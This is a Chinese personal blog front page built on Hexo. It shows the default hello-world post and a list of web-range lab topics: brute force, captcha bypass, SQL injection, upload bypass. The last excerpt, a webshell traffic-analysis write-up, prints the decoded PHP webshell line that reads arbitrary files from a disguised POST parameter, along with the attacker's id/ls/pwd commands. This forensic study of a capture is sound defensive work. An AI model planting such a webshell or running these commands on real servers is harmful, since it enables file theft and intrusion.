小枝的博客

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub. Quick StartCreate a new post1$ hexo new "My New Post" More info: Writing Run server1$ hexo server More info: Server Generate static files1$ hexo generate More info: Generating Deploy to remote sites1$ hexo deploy More info: Deployment

你好世界

Web靶场漏洞暴力破解基于表单的暴力破解 验证码绕过（on server) SQL注入数字型注入 字符型注入 文件上传MIME type client check 流量分析webshell流量分析 将过滤出来的六条数据包依次进行解码，解码获得的php代码中显示 $F = base64_decode(substr($_POST["t41ffbc5fb0c04"], 2)); @readfile($F); 即从 POST 参数中取出一个“被伪装过的文件路径”，还原成真实路径后，直接把这个文件的内容读出来并返回给攻击者，所以解码后获得攻击者完整攻击路径： /var/www/html/config.php /var/www/html/flag.txt /var/www/html/ cd "/var/www/html";id;echo e124bc;pwd;echo 43523 cd "/var/www/html";ls;echo e124bc;pwd;echo 43523...